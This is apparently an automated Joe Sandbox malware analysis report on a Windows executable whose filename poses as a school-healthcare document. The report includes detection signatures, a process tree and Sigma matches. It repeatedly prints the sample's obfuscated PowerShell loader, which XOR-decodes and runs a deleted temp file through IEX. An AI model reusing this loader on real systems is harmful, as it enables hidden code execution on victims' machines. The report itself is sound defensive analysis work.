Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe

Overview

General Information

Sample name:Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe
Analysis ID:1555371
MD5:988955bfa46336be7eb44f11f5427699
SHA1:86f277c2e39af1a01575c30f601c4c411297c78e
SHA256:1c01b0f68306375e4cc9209e2bbb94965fbb943b75946a390a53fd05bb9b3c16
Infos:

Detection

Score:52
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Sigma detected: Suspicious Script Execution From Temp Folder
Writes many files with high entropy
Adds / modifies Windows certificates
Allocates memory with a write watch (potentially for evading sandboxes)
Creates a process in suspended mode (likely to inject code)
Dropped file seen in connection with other malware
Drops PE files
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTML body contains low number of good links
HTML body contains password input but no form action
HTML page contains hidden javascript code
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Stores large binary data to the registry
Uses 32bit PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64native
  • Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe (PID: 4240 cmdline: "C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" MD5: 988955BFA46336BE7EB44F11F5427699)
    • Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp (PID: 6232 cmdline: "C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$20408,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" MD5: F386E39F745DF29C2619F21BCA6DAEB7)
      • powershell.exe (PID: 1608 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
        • conhost.exe (PID: 2508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)
      • PhotoshopElements_2024_LS30_win64.exe (PID: 4504 cmdline: "C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe" MD5: 43843D75A5EEAD8EE3B71EE2ADCBA3FE)
        • PhotoshopElements_2024_LS30_win64.exe (PID: 7088 cmdline: "C:\Users\user\AppData\Local\Temp\is-KHIOG.tmp\PhotoshopElements_2024_LS30_win64.exe" --pipename={7AA9B349-E76F-4F7B-A84C-34DE83BEAAE8} --edtWorkFlow=1 MD5: 43843D75A5EEAD8EE3B71EE2ADCBA3FE)
        • chrome.exe (PID: 3400 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ims-na1.adobelogin.com/ims/authorize?client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&locale=en_US&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation MD5: BB7C48CDDDE076E7EB44022520F40F77)
          • chrome.exe (PID: 7896 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-subproc-heap-profiling --field-trial-handle=2228,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=2244 /prefetch:3 MD5: BB7C48CDDDE076E7EB44022520F40F77)
          • chrome.exe (PID: 5136 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --video-capture-use-gpu-memory-buffer --no-subproc-heap-profiling --field-trial-handle=5680,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=6056 /prefetch:8 MD5: BB7C48CDDDE076E7EB44022520F40F77)
          • chrome.exe (PID: 6168 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --no-subproc-heap-profiling --field-trial-handle=5912,i,6509428427819271930,2638859979809800324,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20240909-180142.416000 --mojo-platform-channel-handle=3520 /prefetch:8 MD5: BB7C48CDDDE076E7EB44022520F40F77)
  • svchost.exe (PID: 7600 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: F586835082F632DC8D9404D83BC16316)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: PowerShell Base64 Encoded IEX Cmdlet
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine|base64offset|contains: #0C, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$20408,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ParentProcessId: 6232, ParentProcessName: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", ProcessId: 1608, ProcessName: powershell.exe
Sigma detected: Suspicious Script Execution From Temp Folder
Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine|base64offset|contains: #0C, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$20408,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ParentProcessId: 6232, ParentProcessName: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", ProcessId: 1608, ProcessName: powershell.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", CommandLine|base64offset|contains: #0C, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp" /SL5="$20408,320672528,821248,C:\Users\user\Desktop\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\is-96M8K.tmp\Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ParentProcessId: 6232, ParentProcessName: Must-School-Districts-In-California-Offer-Free-Healthcare-For-Employees.tmp, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -COMMAND "IEX([TExt.EnCODING]::Utf8.gETsTrINg((({$f=[iO.fIle]::reAdAllBYTes($aRgS[0]);(rm $aRgS[0]);REturN $F}.InVOKe('C:\usErs\user\aPPdata\LocaL\TeMP\iS-khiOg.TMP\..\A88942a46582B71Dbf2e1eacF7Cbc7f9.dat'))|%{$_ -BXOr 'yXAwMfFaZxzDOHKgIEqrlQjtoJuBNSWc'[$K++%32]})))", ProcessId: 1608, ProcessName: powershell.exe
Sigma detected: Windows Processes Suspicious Parent Directory
Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 904, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7600, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: Number of links: 0
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: Base64 decoded: <?xml version="1.0" encoding="UTF-8"?><svg width="38px" height="38px" viewBox="0 0 38 38" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <!-- Generator: Sketch 44.1 (41455) - http://www.bohemiancoding.com...
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: Iframe src: https://adobe-api.arkoselabs.com/v2/2.11.2/enforcement.680e9fec55645f785d2cc2dbf0b3e151.html#430FF2C3-1AB1-40B7-8BE7-44FC683FE02C&a3651cfc-0ff9-408a-b501-2748ee19b8b4
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: <input type="password" .../> found
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: No favicon
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: No favicon
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: No favicon
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: No <meta name="author".. found
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: No <meta name="author".. found
Source: https://auth.services.adobe.com/en_US/deeplink.html?deeplink=ssofirst&callback=https%3A%2F%2Fims-na1.adobelogin.com%2Fims%2Fadobeid%2FCC_HD_ESD_WEB%2FAdobeID%2Fcode%3Fredirect_uri%3Dhttps%253A%252F%252Fauth.services.adobe.com%252Fen_US%252Fdeeplink.html%253Fdelegated_request_id%253D6fc10679-ad49-4742-b3b1-ec5d2abadd12%2526client_id%253DCC_HD_ESD_WEB%2526deeplink%253Ddelegation%26code_challenge_method%3Dplain%26use_ms_for_expiry%3Dtrue&client_id=CC_HD_ESD_WEB&scope=allow_ac_dt_exchange%2Copenid%2CAdobeID%2Ccreative_cloud%2Ccreative_sdk%2Cread_organizations%2Csao.cce_private%2Cadditional_info.account_type&relay=f23810d2-8a55-41d0-8714-2eb0f5dafd42&locale=en_US&flow_type=code&idp_flow_type=login&s_p=google%2Cfacebook%2Capple%2Cmicrosoft%2Cline%2Ckakao&response_type=code&code_challenge_method=plain&redirect_uri=https%3A%2F%2Fauth.services.adobe.com%2Fen_US%2Fdeeplink.html%3Fdelegated_request_id%3D6fc10679-ad49-4742-b3b1-ec5d2abadd12%26client_id%3DCC_HD_ESD_WEB%26deeplink%3Ddelegation&use_ms_for_expiry=true#/HTTP Parser: No <meta name="copyright".. found
